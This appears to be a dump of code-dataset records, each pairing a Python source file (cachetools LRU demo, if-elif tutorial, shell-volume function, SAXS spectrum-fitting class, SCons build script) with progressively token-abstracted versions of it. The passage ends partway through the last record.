[ "import cachetools\n\ncache = cachetools.LRUCache(maxsize = 3)\ncache['PyCon'] = 'India'\ncache['year'] = '2017'\nprint(\"Older: \" + cache['year'])\n\ncache['year'] = '2018'\nprint(\"Newer: \" + cache['year'])\nprint(cache)\n\ncache['sdate'] = '05/09/2018'\nprint(cache)\n\ncache['edate'] = '09/09/2018'\nprint(cache)", "import cachetools\ncache = cachetools.LRUCache(maxsize=3)\ncache['PyCon'] = 'India'\ncache['year'] = '2017'\nprint('Older: ' + cache['year'])\ncache['year'] = '2018'\nprint('Newer: ' + cache['year'])\nprint(cache)\ncache['sdate'] = '05/09/2018'\nprint(cache)\ncache['edate'] = '09/09/2018'\nprint(cache)\n", "<import token>\ncache = cachetools.LRUCache(maxsize=3)\ncache['PyCon'] = 'India'\ncache['year'] = '2017'\nprint('Older: ' + cache['year'])\ncache['year'] = '2018'\nprint('Newer: ' + cache['year'])\nprint(cache)\ncache['sdate'] = '05/09/2018'\nprint(cache)\ncache['edate'] = '09/09/2018'\nprint(cache)\n", "<import token>\n<assignment token>\nprint('Older: ' + cache['year'])\n<assignment token>\nprint('Newer: ' + cache['year'])\nprint(cache)\n<assignment token>\nprint(cache)\n<assignment token>\nprint(cache)\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
444
d7ce6efa72c9b65d3dd3ce90f9d1f2dd8a889d26
''' syntax of if-elif-else if <condition> : code to be executed in this condition elif <new condition> : cdode tbd some code else : code runs in the else condigtion this can all be multiline code ''' a = 3 b = 2 if a == b : print "Values are equal" elif a < b : print "a is less than b" else: print "b is less than a" print "jai is awesome" # attempting to make changes in git # jai making changes
[ "\n'''\nsyntax of if-elif-else\n\nif <condition> :\n\tcode to be\n\texecuted in\n\tthis condition\nelif <new condition> :\n\tcdode tbd\n\tsome code\nelse :\n\tcode runs in the else condigtion\n\tthis can all be multiline code\n\n'''\n\n\n\n\na = 3\nb = 2\n\n\nif a == b :\n\tprint \"Values are equal\"\nelif a < b :\n\tprint \"a is less than b\"\nelse:\n\tprint \"b is less than a\"\n\nprint \"jai is awesome\"\n\n\n# attempting to make changes in git\n# jai making changes\n" ]
true
445
cd234911c1f990b8029dfa792d132847bf39a6aa
import math def vol_shell(r1, r2): a=abs((4/3)*math.pi*((r1**3)-(r2**3))) return round(a,3) print(vol_shell(3,3))
[ "\nimport math\ndef vol_shell(r1, r2):\n a=abs((4/3)*math.pi*((r1**3)-(r2**3)))\n return round(a,3)\nprint(vol_shell(3,3))\n\n", "import math\n\n\ndef vol_shell(r1, r2):\n a = abs(4 / 3 * math.pi * (r1 ** 3 - r2 ** 3))\n return round(a, 3)\n\n\nprint(vol_shell(3, 3))\n", "<import token>\n\n\ndef vol_shell(r1, r2):\n a = abs(4 / 3 * math.pi * (r1 ** 3 - r2 ** 3))\n return round(a, 3)\n\n\nprint(vol_shell(3, 3))\n", "<import token>\n\n\ndef vol_shell(r1, r2):\n a = abs(4 / 3 * math.pi * (r1 ** 3 - r2 ** 3))\n return round(a, 3)\n\n\n<code token>\n", "<import token>\n<function token>\n<code token>\n" ]
false
446
7b5713c9a5afa911df1c2939751de30412162f15
from collections import OrderedDict import copy import numpy as np from scipy.optimize import curve_fit from ... import Operation as opmod from ...Operation import Operation from ....tools import saxstools class SpectrumFit(Operation): """ Use a measured SAXS spectrum (I(q) vs. q), to optimize the parameters of a theoretical SAXS spectrum for one or several populations of scatterers. Works by minimizing an objective function that compares the measured spectrum against the theoretical result. TODO: document the algorithm here. Input arrays of q and I(q), a string indicating choice of objective function, a dict of features describing the spectrum, and a list of strings indicating which keys in the dict should be used as optimization parameters. The input features dict includes initial fit parameters as well as the flags indicating which populations to include. The features dict is of the same format as SpectrumProfiler and SpectrumParameterization outputs. Outputs a return code and the features dict, with entries updated for the optimized parameters. Also returns the theoretical result for I(q), and a renormalized measured spectrum for visual comparison. """ def __init__(self): input_names = ['q','I','flags','params','fit_params','objfun'] output_names = ['params','q_I_opt'] super(SpectrumFit, self).__init__(input_names, output_names) self.input_doc['q'] = '1d array of wave vector values in 1/Angstrom units' self.input_doc['I'] = '1d array of intensity values I(q)' self.input_doc['flags'] = 'dict of flags indicating what populations to fit' self.input_doc['params'] = 'dict of initial values for the scattering equation parameters '\ 'for each of the populations specified in the input flags' self.input_doc['fit_params'] = 'list of strings (keys) indicating which parameters to optimize' self.input_doc['objfun'] = 'string indicating objective function for optimization: '\ + 'see documentation of saxstools.fit_spectrum() for supported objective functions' self.output_doc['params'] = 'dict of scattering equation parameters copied from inputs, '\ 'with values optimized for all keys specified in fit_params' self.output_doc['q_I_opt'] = 'n-by-2 array of q and the optimized computed intensity spectrum' self.input_type['q'] = opmod.workflow_item self.input_type['I'] = opmod.workflow_item self.input_type['flags'] = opmod.workflow_item self.input_type['params'] = opmod.workflow_item self.inputs['objfun'] = 'chi2log' def run(self): f = self.inputs['flags'] if f['bad_data'] or not any([f['precursor_scattering'],f['form_factor_scattering'],f['diffraction_peaks']]): self.outputs['params'] = {} return if f['diffraction_peaks']: self.outputs['params'] = {'ERROR_MESSAGE':'diffraction peak fitting not yet supported'} return q, I = self.inputs['q'], self.inputs['I'] m = self.inputs['objfun'] p = self.inputs['params'] fitkeys = self.inputs['fit_params'] #p_opt = copy.deepcopy(p) # Set up constraints as needed c = [] if f['form_factor_scattering'] or f['diffraction_peaks']: c = ['fix_I0'] # Fitting happens here p_opt = saxstools.fit_spectrum(q,I,m,f,p,fitkeys,c) I_opt = saxstools.compute_saxs(q,f,p_opt) nz = ((I>0)&(I_opt>0)) logI_nz = np.log(I[nz]) logIopt_nz = np.log(I_opt[nz]) Imean = np.mean(logI_nz) Istd = np.std(logI_nz) logI_nz_s = (logI_nz - Imean) / Istd logIopt_nz_s = (logIopt_nz - Imean) / Istd f['R2log_fit'] = saxstools.compute_Rsquared(np.log(I[nz]),np.log(I_opt[nz])) f['chi2log_fit'] = saxstools.compute_chi2(logI_nz_s,logIopt_nz_s) q_I_opt = np.array([q,I_opt]).T self.outputs['features'] = f self.outputs['q_I_opt'] = q_I_opt
[ "from collections import OrderedDict\nimport copy\n\nimport numpy as np\nfrom scipy.optimize import curve_fit\n\nfrom ... import Operation as opmod \nfrom ...Operation import Operation\nfrom ....tools import saxstools\n\nclass SpectrumFit(Operation):\n \"\"\"\n Use a measured SAXS spectrum (I(q) vs. q),\n to optimize the parameters of a theoretical SAXS spectrum\n for one or several populations of scatterers. \n Works by minimizing an objective function that compares\n the measured spectrum against the theoretical result.\n TODO: document the algorithm here.\n\n Input arrays of q and I(q), \n a string indicating choice of objective function, \n a dict of features describing the spectrum,\n and a list of strings indicating which keys in the dict \n should be used as optimization parameters.\n The input features dict includes initial fit parameters\n as well as the flags indicating which populations to include.\n The features dict is of the same format as\n SpectrumProfiler and SpectrumParameterization outputs.\n\n Outputs a return code and the features dict,\n with entries updated for the optimized parameters.\n Also returns the theoretical result for I(q),\n and a renormalized measured spectrum for visual comparison.\n \"\"\"\n\n def __init__(self):\n input_names = ['q','I','flags','params','fit_params','objfun']\n output_names = ['params','q_I_opt']\n super(SpectrumFit, self).__init__(input_names, output_names)\n self.input_doc['q'] = '1d array of wave vector values in 1/Angstrom units'\n self.input_doc['I'] = '1d array of intensity values I(q)'\n self.input_doc['flags'] = 'dict of flags indicating what populations to fit'\n self.input_doc['params'] = 'dict of initial values for the scattering equation parameters '\\\n 'for each of the populations specified in the input flags'\n self.input_doc['fit_params'] = 'list of strings (keys) indicating which parameters to optimize'\n self.input_doc['objfun'] = 'string indicating objective function for optimization: '\\\n + 'see documentation of saxstools.fit_spectrum() for supported objective functions'\n self.output_doc['params'] = 'dict of scattering equation parameters copied from inputs, '\\\n 'with values optimized for all keys specified in fit_params'\n self.output_doc['q_I_opt'] = 'n-by-2 array of q and the optimized computed intensity spectrum'\n self.input_type['q'] = opmod.workflow_item\n self.input_type['I'] = opmod.workflow_item\n self.input_type['flags'] = opmod.workflow_item\n self.input_type['params'] = opmod.workflow_item\n self.inputs['objfun'] = 'chi2log' \n\n def run(self):\n f = self.inputs['flags']\n if f['bad_data'] or not any([f['precursor_scattering'],f['form_factor_scattering'],f['diffraction_peaks']]):\n self.outputs['params'] = {} \n return\n if f['diffraction_peaks']:\n self.outputs['params'] = {'ERROR_MESSAGE':'diffraction peak fitting not yet supported'}\n return\n q, I = self.inputs['q'], self.inputs['I']\n m = self.inputs['objfun']\n p = self.inputs['params']\n fitkeys = self.inputs['fit_params']\n #p_opt = copy.deepcopy(p)\n\n # Set up constraints as needed\n c = []\n if f['form_factor_scattering'] or f['diffraction_peaks']:\n c = ['fix_I0']\n\n # Fitting happens here\n p_opt = saxstools.fit_spectrum(q,I,m,f,p,fitkeys,c)\n\n I_opt = saxstools.compute_saxs(q,f,p_opt)\n\n nz = ((I>0)&(I_opt>0))\n logI_nz = np.log(I[nz])\n logIopt_nz = np.log(I_opt[nz])\n Imean = np.mean(logI_nz)\n Istd = np.std(logI_nz)\n logI_nz_s = (logI_nz - Imean) / Istd\n logIopt_nz_s = (logIopt_nz - Imean) / Istd\n f['R2log_fit'] = saxstools.compute_Rsquared(np.log(I[nz]),np.log(I_opt[nz]))\n f['chi2log_fit'] = saxstools.compute_chi2(logI_nz_s,logIopt_nz_s)\n\n q_I_opt = np.array([q,I_opt]).T\n self.outputs['features'] = f \n self.outputs['q_I_opt'] = q_I_opt\n\n", "from collections import OrderedDict\nimport copy\nimport numpy as np\nfrom scipy.optimize import curve_fit\nfrom ... import Operation as opmod\nfrom ...Operation import Operation\nfrom ....tools import saxstools\n\n\nclass SpectrumFit(Operation):\n \"\"\"\n Use a measured SAXS spectrum (I(q) vs. q),\n to optimize the parameters of a theoretical SAXS spectrum\n for one or several populations of scatterers. \n Works by minimizing an objective function that compares\n the measured spectrum against the theoretical result.\n TODO: document the algorithm here.\n\n Input arrays of q and I(q), \n a string indicating choice of objective function, \n a dict of features describing the spectrum,\n and a list of strings indicating which keys in the dict \n should be used as optimization parameters.\n The input features dict includes initial fit parameters\n as well as the flags indicating which populations to include.\n The features dict is of the same format as\n SpectrumProfiler and SpectrumParameterization outputs.\n\n Outputs a return code and the features dict,\n with entries updated for the optimized parameters.\n Also returns the theoretical result for I(q),\n and a renormalized measured spectrum for visual comparison.\n \"\"\"\n\n def __init__(self):\n input_names = ['q', 'I', 'flags', 'params', 'fit_params', 'objfun']\n output_names = ['params', 'q_I_opt']\n super(SpectrumFit, self).__init__(input_names, output_names)\n self.input_doc['q'\n ] = '1d array of wave vector values in 1/Angstrom units'\n self.input_doc['I'] = '1d array of intensity values I(q)'\n self.input_doc['flags'\n ] = 'dict of flags indicating what populations to fit'\n self.input_doc['params'] = (\n 'dict of initial values for the scattering equation parameters for each of the populations specified in the input flags'\n )\n self.input_doc['fit_params'\n ] = 'list of strings (keys) indicating which parameters to optimize'\n self.input_doc['objfun'] = (\n 'string indicating objective function for optimization: ' +\n 'see documentation of saxstools.fit_spectrum() for supported objective functions'\n )\n self.output_doc['params'] = (\n 'dict of scattering equation parameters copied from inputs, with values optimized for all keys specified in fit_params'\n )\n self.output_doc['q_I_opt'\n ] = 'n-by-2 array of q and the optimized computed intensity spectrum'\n self.input_type['q'] = opmod.workflow_item\n self.input_type['I'] = opmod.workflow_item\n self.input_type['flags'] = opmod.workflow_item\n self.input_type['params'] = opmod.workflow_item\n self.inputs['objfun'] = 'chi2log'\n\n def run(self):\n f = self.inputs['flags']\n if f['bad_data'] or not any([f['precursor_scattering'], f[\n 'form_factor_scattering'], f['diffraction_peaks']]):\n self.outputs['params'] = {}\n return\n if f['diffraction_peaks']:\n self.outputs['params'] = {'ERROR_MESSAGE':\n 'diffraction peak fitting not yet supported'}\n return\n q, I = self.inputs['q'], self.inputs['I']\n m = self.inputs['objfun']\n p = self.inputs['params']\n fitkeys = self.inputs['fit_params']\n c = []\n if f['form_factor_scattering'] or f['diffraction_peaks']:\n c = ['fix_I0']\n p_opt = saxstools.fit_spectrum(q, I, m, f, p, fitkeys, c)\n I_opt = saxstools.compute_saxs(q, f, p_opt)\n nz = (I > 0) & (I_opt > 0)\n logI_nz = np.log(I[nz])\n logIopt_nz = np.log(I_opt[nz])\n Imean = np.mean(logI_nz)\n Istd = np.std(logI_nz)\n logI_nz_s = (logI_nz - Imean) / Istd\n logIopt_nz_s = (logIopt_nz - Imean) / Istd\n f['R2log_fit'] = saxstools.compute_Rsquared(np.log(I[nz]), np.log(\n I_opt[nz]))\n f['chi2log_fit'] = saxstools.compute_chi2(logI_nz_s, logIopt_nz_s)\n q_I_opt = np.array([q, I_opt]).T\n self.outputs['features'] = f\n self.outputs['q_I_opt'] = q_I_opt\n", "<import token>\n\n\nclass SpectrumFit(Operation):\n \"\"\"\n Use a measured SAXS spectrum (I(q) vs. q),\n to optimize the parameters of a theoretical SAXS spectrum\n for one or several populations of scatterers. \n Works by minimizing an objective function that compares\n the measured spectrum against the theoretical result.\n TODO: document the algorithm here.\n\n Input arrays of q and I(q), \n a string indicating choice of objective function, \n a dict of features describing the spectrum,\n and a list of strings indicating which keys in the dict \n should be used as optimization parameters.\n The input features dict includes initial fit parameters\n as well as the flags indicating which populations to include.\n The features dict is of the same format as\n SpectrumProfiler and SpectrumParameterization outputs.\n\n Outputs a return code and the features dict,\n with entries updated for the optimized parameters.\n Also returns the theoretical result for I(q),\n and a renormalized measured spectrum for visual comparison.\n \"\"\"\n\n def __init__(self):\n input_names = ['q', 'I', 'flags', 'params', 'fit_params', 'objfun']\n output_names = ['params', 'q_I_opt']\n super(SpectrumFit, self).__init__(input_names, output_names)\n self.input_doc['q'\n ] = '1d array of wave vector values in 1/Angstrom units'\n self.input_doc['I'] = '1d array of intensity values I(q)'\n self.input_doc['flags'\n ] = 'dict of flags indicating what populations to fit'\n self.input_doc['params'] = (\n 'dict of initial values for the scattering equation parameters for each of the populations specified in the input flags'\n )\n self.input_doc['fit_params'\n ] = 'list of strings (keys) indicating which parameters to optimize'\n self.input_doc['objfun'] = (\n 'string indicating objective function for optimization: ' +\n 'see documentation of saxstools.fit_spectrum() for supported objective functions'\n )\n self.output_doc['params'] = (\n 'dict of scattering equation parameters copied from inputs, with values optimized for all keys specified in fit_params'\n )\n self.output_doc['q_I_opt'\n ] = 'n-by-2 array of q and the optimized computed intensity spectrum'\n self.input_type['q'] = opmod.workflow_item\n self.input_type['I'] = opmod.workflow_item\n self.input_type['flags'] = opmod.workflow_item\n self.input_type['params'] = opmod.workflow_item\n self.inputs['objfun'] = 'chi2log'\n\n def run(self):\n f = self.inputs['flags']\n if f['bad_data'] or not any([f['precursor_scattering'], f[\n 'form_factor_scattering'], f['diffraction_peaks']]):\n self.outputs['params'] = {}\n return\n if f['diffraction_peaks']:\n self.outputs['params'] = {'ERROR_MESSAGE':\n 'diffraction peak fitting not yet supported'}\n return\n q, I = self.inputs['q'], self.inputs['I']\n m = self.inputs['objfun']\n p = self.inputs['params']\n fitkeys = self.inputs['fit_params']\n c = []\n if f['form_factor_scattering'] or f['diffraction_peaks']:\n c = ['fix_I0']\n p_opt = saxstools.fit_spectrum(q, I, m, f, p, fitkeys, c)\n I_opt = saxstools.compute_saxs(q, f, p_opt)\n nz = (I > 0) & (I_opt > 0)\n logI_nz = np.log(I[nz])\n logIopt_nz = np.log(I_opt[nz])\n Imean = np.mean(logI_nz)\n Istd = np.std(logI_nz)\n logI_nz_s = (logI_nz - Imean) / Istd\n logIopt_nz_s = (logIopt_nz - Imean) / Istd\n f['R2log_fit'] = saxstools.compute_Rsquared(np.log(I[nz]), np.log(\n I_opt[nz]))\n f['chi2log_fit'] = saxstools.compute_chi2(logI_nz_s, logIopt_nz_s)\n q_I_opt = np.array([q, I_opt]).T\n self.outputs['features'] = f\n self.outputs['q_I_opt'] = q_I_opt\n", "<import token>\n\n\nclass SpectrumFit(Operation):\n <docstring token>\n\n def __init__(self):\n input_names = ['q', 'I', 'flags', 'params', 'fit_params', 'objfun']\n output_names = ['params', 'q_I_opt']\n super(SpectrumFit, self).__init__(input_names, output_names)\n self.input_doc['q'\n ] = '1d array of wave vector values in 1/Angstrom units'\n self.input_doc['I'] = '1d array of intensity values I(q)'\n self.input_doc['flags'\n ] = 'dict of flags indicating what populations to fit'\n self.input_doc['params'] = (\n 'dict of initial values for the scattering equation parameters for each of the populations specified in the input flags'\n )\n self.input_doc['fit_params'\n ] = 'list of strings (keys) indicating which parameters to optimize'\n self.input_doc['objfun'] = (\n 'string indicating objective function for optimization: ' +\n 'see documentation of saxstools.fit_spectrum() for supported objective functions'\n )\n self.output_doc['params'] = (\n 'dict of scattering equation parameters copied from inputs, with values optimized for all keys specified in fit_params'\n )\n self.output_doc['q_I_opt'\n ] = 'n-by-2 array of q and the optimized computed intensity spectrum'\n self.input_type['q'] = opmod.workflow_item\n self.input_type['I'] = opmod.workflow_item\n self.input_type['flags'] = opmod.workflow_item\n self.input_type['params'] = opmod.workflow_item\n self.inputs['objfun'] = 'chi2log'\n\n def run(self):\n f = self.inputs['flags']\n if f['bad_data'] or not any([f['precursor_scattering'], f[\n 'form_factor_scattering'], f['diffraction_peaks']]):\n self.outputs['params'] = {}\n return\n if f['diffraction_peaks']:\n self.outputs['params'] = {'ERROR_MESSAGE':\n 'diffraction peak fitting not yet supported'}\n return\n q, I = self.inputs['q'], self.inputs['I']\n m = self.inputs['objfun']\n p = self.inputs['params']\n fitkeys = self.inputs['fit_params']\n c = []\n if f['form_factor_scattering'] or f['diffraction_peaks']:\n c = ['fix_I0']\n p_opt = saxstools.fit_spectrum(q, I, m, f, p, fitkeys, c)\n I_opt = saxstools.compute_saxs(q, f, p_opt)\n nz = (I > 0) & (I_opt > 0)\n logI_nz = np.log(I[nz])\n logIopt_nz = np.log(I_opt[nz])\n Imean = np.mean(logI_nz)\n Istd = np.std(logI_nz)\n logI_nz_s = (logI_nz - Imean) / Istd\n logIopt_nz_s = (logIopt_nz - Imean) / Istd\n f['R2log_fit'] = saxstools.compute_Rsquared(np.log(I[nz]), np.log(\n I_opt[nz]))\n f['chi2log_fit'] = saxstools.compute_chi2(logI_nz_s, logIopt_nz_s)\n q_I_opt = np.array([q, I_opt]).T\n self.outputs['features'] = f\n self.outputs['q_I_opt'] = q_I_opt\n", "<import token>\n\n\nclass SpectrumFit(Operation):\n <docstring token>\n\n def __init__(self):\n input_names = ['q', 'I', 'flags', 'params', 'fit_params', 'objfun']\n output_names = ['params', 'q_I_opt']\n super(SpectrumFit, self).__init__(input_names, output_names)\n self.input_doc['q'\n ] = '1d array of wave vector values in 1/Angstrom units'\n self.input_doc['I'] = '1d array of intensity values I(q)'\n self.input_doc['flags'\n ] = 'dict of flags indicating what populations to fit'\n self.input_doc['params'] = (\n 'dict of initial values for the scattering equation parameters for each of the populations specified in the input flags'\n )\n self.input_doc['fit_params'\n ] = 'list of strings (keys) indicating which parameters to optimize'\n self.input_doc['objfun'] = (\n 'string indicating objective function for optimization: ' +\n 'see documentation of saxstools.fit_spectrum() for supported objective functions'\n )\n self.output_doc['params'] = (\n 'dict of scattering equation parameters copied from inputs, with values optimized for all keys specified in fit_params'\n )\n self.output_doc['q_I_opt'\n ] = 'n-by-2 array of q and the optimized computed intensity spectrum'\n self.input_type['q'] = opmod.workflow_item\n self.input_type['I'] = opmod.workflow_item\n self.input_type['flags'] = opmod.workflow_item\n self.input_type['params'] = opmod.workflow_item\n self.inputs['objfun'] = 'chi2log'\n <function token>\n", "<import token>\n\n\nclass SpectrumFit(Operation):\n <docstring token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
447
595912753d778a0fa8332f0df00e06a9da5cde93
################################################################################ # # # This file is part of the Potato Engine (PE). # # # # Copyright (C) 2007-2010 ElectroMagnetic Potatoes (EMP). # # See the AUTHORS file for more information. # # # # This library is free software; you can redistribute it and/or # # modify it under the terms of the GNU Lesser General Public # # License as published by the Free Software Foundation; either # # version 2.1 of the License, or (at your option) any later version. # # # # This library is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # Lesser General Public License for more details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with this program. If not, see <http://www.gnu.org/licenses/>. # # # ################################################################################ import os import build ################################################################ # Default options (will be overriden by command line switches) # ################################################################ # Parallel build SetOption('num_jobs', 4) # include cache SetOption('implicit_cache', 1) ########################################################## # Command-line parameters (overriden by localconfig.py) # ########################################################## buildVariables = Variables("localconfig.py") buildVariables.Add(PathVariable("QTDIR", "Qt4 root directory", "/usr/share/qt4", PathVariable.PathIsDir)) buildVariables.Add(PathVariable("OGRE_HOME", "Ogre1.6 root directory (windows only)", None, PathVariable.PathIsDir)) buildVariables.Add(PathVariable("PTHREADWIN32_HOME", "PthreadWin32 root directory (windows only)", None, PathVariable.PathIsDir)) buildVariables.Add(PathVariable("ODE_HOME", "ODE 0.11 root directory", None, PathVariable.PathIsDir)) buildVariables.Add(BoolVariable("DEBUG", "If true, build in debug configuration", False)) buildVariables.Add(BoolVariable("FORCE_MINGW", "When both MinGW and VC++ are installed, force the use of the MinGW compiler instead of the default (windows only)", False)) buildVariables.Add(BoolVariable("DISABLE_GRAPH", "Disable dependency graph generation", False)) ############################################################################## # Variable value extraction (nasty, should be updated when the API evolves) # # The reason for having this here is that we have to access variables before # # we can create the real construction environment (for tools selection) # ############################################################################## currentVariables = Environment(variables = buildVariables).Dictionary() #################### # Base environment # #################### baseTools = ["qt"] if os.name == "nt": if currentVariables["FORCE_MINGW"]: baseTools.append("mingw") else: baseTools.append("default") else: baseTools.append("default") baseEnvironment = Environment(tools = baseTools, variables = buildVariables) # additional variables baseEnvironment["OSNAME"] = os.name baseEnvironment["SYSPATH"] = os.environ["PATH"].split(os.pathsep) if baseEnvironment["CC"] == "cl": baseEnvironment.AppendUnique(CPPFLAGS = ["/EHsc"]) # debug symbols vs. optimization if baseEnvironment["DEBUG"]: if baseEnvironment["CC"] == "cl": baseEnvironment.AppendUnique(CPPFLAGS = ["/Z7"]) else: baseEnvironment.AppendUnique(CPPFLAGS = ["-g"]) else: if baseEnvironment["CC"] == "cl": baseEnvironment.AppendUnique(CPPFLAGS = ["/Ox"]) else: baseEnvironment.AppendUnique(CPPFLAGS = ["-O2"]) # Qt tool workaround baseEnvironment.Replace(LIBS = []) baseEnvironment.Replace(LIBPATH = []) baseEnvironment.Replace(CPPPATH = []) # Qt UI builder uiBuilder = Builder(action = '$QT_UIC $QT_UICDECLFLAGS -o ${TARGETS[0]} $SOURCE') baseEnvironment.Append(BUILDERS = {'Ui' : uiBuilder}) # Qt RC builder rcBuilder = Builder(action = '$QT_BINPATH/rcc $QT_RCCDECLFLAGS -o ${TARGETS[0]} $SOURCE') baseEnvironment.Append(BUILDERS = {'Rc' : rcBuilder}) # Under windows, add the platform SDK if os.name == "nt" and baseEnvironment["CC"] == "cl": import _winreg key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Microsoft SDKs\\Windows") winSdkHome = _winreg.QueryValueEx(key, "CurrentInstallFolder")[0] _winreg.CloseKey(key) baseEnvironment["WINSDK_HOME"] = winSdkHome baseEnvironment.AppendUnique(CPPPATH = ["$WINSDK_HOME/Include"]) baseEnvironment.AppendUnique(LIBPATH = ["$WINSDK_HOME/Lib"]) # Do not rely on VC++ runtime library if os.name == "nt" and baseEnvironment["CC"] == "cl": baseEnvironment.AppendUnique(CPPFLAGS = ["/MD"]) # Speed up change analysis baseEnvironment.Decider('MD5-timestamp') ##################### # Command-line help # ##################### Help(buildVariables.GenerateHelpText(baseEnvironment)) ################################## # SCons environment declarations # ################################## walker = build.DependencyWalker() # external component database for script in Glob("components.*.py"): SConscript(script, exports = "walker", variant_dir = "build", duplicate = 0) walker.makeEnvironments(baseEnvironment) if not baseEnvironment["DISABLE_GRAPH"]: walker.makeDependencyGraph("dependencies.png")
[ "################################################################################\r\n# #\r\n# This file is part of the Potato Engine (PE). #\r\n# #\r\n# Copyright (C) 2007-2010 ElectroMagnetic Potatoes (EMP). #\r\n# See the AUTHORS file for more information. #\r\n# #\r\n# This library is free software; you can redistribute it and/or #\r\n# modify it under the terms of the GNU Lesser General Public #\r\n# License as published by the Free Software Foundation; either #\r\n# version 2.1 of the License, or (at your option) any later version. #\r\n# #\r\n# This library is distributed in the hope that it will be useful, #\r\n# but WITHOUT ANY WARRANTY; without even the implied warranty of #\r\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU #\r\n# Lesser General Public License for more details. #\r\n# #\r\n# You should have received a copy of the GNU Lesser General Public License #\r\n# along with this program. If not, see <http://www.gnu.org/licenses/>. #\r\n# #\r\n################################################################################\r\n\r\nimport os\r\nimport build\r\n\r\n################################################################\r\n# Default options (will be overriden by command line switches) #\r\n################################################################\r\n\r\n# Parallel build\r\nSetOption('num_jobs', 4)\r\n\r\n# include cache\r\nSetOption('implicit_cache', 1)\r\n\r\n##########################################################\r\n# Command-line parameters (overriden by localconfig.py) #\r\n##########################################################\r\n\r\nbuildVariables = Variables(\"localconfig.py\")\r\nbuildVariables.Add(PathVariable(\"QTDIR\", \"Qt4 root directory\", \"/usr/share/qt4\", PathVariable.PathIsDir))\r\nbuildVariables.Add(PathVariable(\"OGRE_HOME\", \"Ogre1.6 root directory (windows only)\", None, PathVariable.PathIsDir))\r\nbuildVariables.Add(PathVariable(\"PTHREADWIN32_HOME\", \"PthreadWin32 root directory (windows only)\", None, PathVariable.PathIsDir))\r\nbuildVariables.Add(PathVariable(\"ODE_HOME\", \"ODE 0.11 root directory\", None, PathVariable.PathIsDir))\r\nbuildVariables.Add(BoolVariable(\"DEBUG\", \"If true, build in debug configuration\", False))\r\nbuildVariables.Add(BoolVariable(\"FORCE_MINGW\", \"When both MinGW and VC++ are installed, force the use of the MinGW compiler instead of the default (windows only)\", False))\r\nbuildVariables.Add(BoolVariable(\"DISABLE_GRAPH\", \"Disable dependency graph generation\", False))\r\n\r\n##############################################################################\r\n# Variable value extraction (nasty, should be updated when the API evolves) #\r\n# The reason for having this here is that we have to access variables before #\r\n# we can create the real construction environment (for tools selection) #\r\n##############################################################################\r\n\r\ncurrentVariables = Environment(variables = buildVariables).Dictionary()\r\n\r\n####################\r\n# Base environment #\r\n####################\r\n\r\nbaseTools = [\"qt\"]\r\nif os.name == \"nt\":\r\n\tif currentVariables[\"FORCE_MINGW\"]:\r\n\t\tbaseTools.append(\"mingw\")\r\n\telse:\r\n\t\tbaseTools.append(\"default\")\r\nelse:\r\n\tbaseTools.append(\"default\")\r\n\r\nbaseEnvironment = Environment(tools = baseTools, variables = buildVariables)\r\n\r\n# additional variables\r\nbaseEnvironment[\"OSNAME\"] = os.name\r\nbaseEnvironment[\"SYSPATH\"] = os.environ[\"PATH\"].split(os.pathsep)\r\n\r\nif baseEnvironment[\"CC\"] == \"cl\":\r\n\tbaseEnvironment.AppendUnique(CPPFLAGS = [\"/EHsc\"])\r\n\r\n# debug symbols vs. optimization\r\nif baseEnvironment[\"DEBUG\"]:\r\n\tif baseEnvironment[\"CC\"] == \"cl\":\r\n\t\tbaseEnvironment.AppendUnique(CPPFLAGS = [\"/Z7\"])\r\n\telse:\r\n\t\tbaseEnvironment.AppendUnique(CPPFLAGS = [\"-g\"])\r\nelse:\r\n\tif baseEnvironment[\"CC\"] == \"cl\":\r\n\t\tbaseEnvironment.AppendUnique(CPPFLAGS = [\"/Ox\"])\r\n\telse:\r\n\t\tbaseEnvironment.AppendUnique(CPPFLAGS = [\"-O2\"])\r\n\r\n# Qt tool workaround\r\nbaseEnvironment.Replace(LIBS = [])\r\nbaseEnvironment.Replace(LIBPATH = [])\r\nbaseEnvironment.Replace(CPPPATH = [])\r\n\r\n# Qt UI builder\r\nuiBuilder = Builder(action = '$QT_UIC $QT_UICDECLFLAGS -o ${TARGETS[0]} $SOURCE')\r\nbaseEnvironment.Append(BUILDERS = {'Ui' : uiBuilder})\r\n\r\n# Qt RC builder\r\nrcBuilder = Builder(action = '$QT_BINPATH/rcc $QT_RCCDECLFLAGS -o ${TARGETS[0]} $SOURCE')\r\nbaseEnvironment.Append(BUILDERS = {'Rc' : rcBuilder})\r\n\r\n# Under windows, add the platform SDK\r\nif os.name == \"nt\" and baseEnvironment[\"CC\"] == \"cl\":\r\n\timport _winreg\r\n\tkey = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, \"Software\\\\Microsoft\\\\Microsoft SDKs\\\\Windows\")\r\n\twinSdkHome = _winreg.QueryValueEx(key, \"CurrentInstallFolder\")[0]\r\n\t_winreg.CloseKey(key)\r\n\tbaseEnvironment[\"WINSDK_HOME\"] = winSdkHome\r\n\tbaseEnvironment.AppendUnique(CPPPATH = [\"$WINSDK_HOME/Include\"])\r\n\tbaseEnvironment.AppendUnique(LIBPATH = [\"$WINSDK_HOME/Lib\"])\r\n\r\n# Do not rely on VC++ runtime library\r\nif os.name == \"nt\" and baseEnvironment[\"CC\"] == \"cl\":\r\n\tbaseEnvironment.AppendUnique(CPPFLAGS = [\"/MD\"])\r\n\r\n# Speed up change analysis\r\nbaseEnvironment.Decider('MD5-timestamp')\r\n\r\n#####################\r\n# Command-line help #\r\n#####################\r\n\r\nHelp(buildVariables.GenerateHelpText(baseEnvironment))\r\n\r\n##################################\r\n# SCons environment declarations #\r\n##################################\r\n\r\nwalker = build.DependencyWalker()\r\n\r\n# external component database\r\nfor script in Glob(\"components.*.py\"):\r\n\tSConscript(script, exports = \"walker\", variant_dir = \"build\", duplicate = 0)\r\n\r\nwalker.makeEnvironments(baseEnvironment)\r\nif not 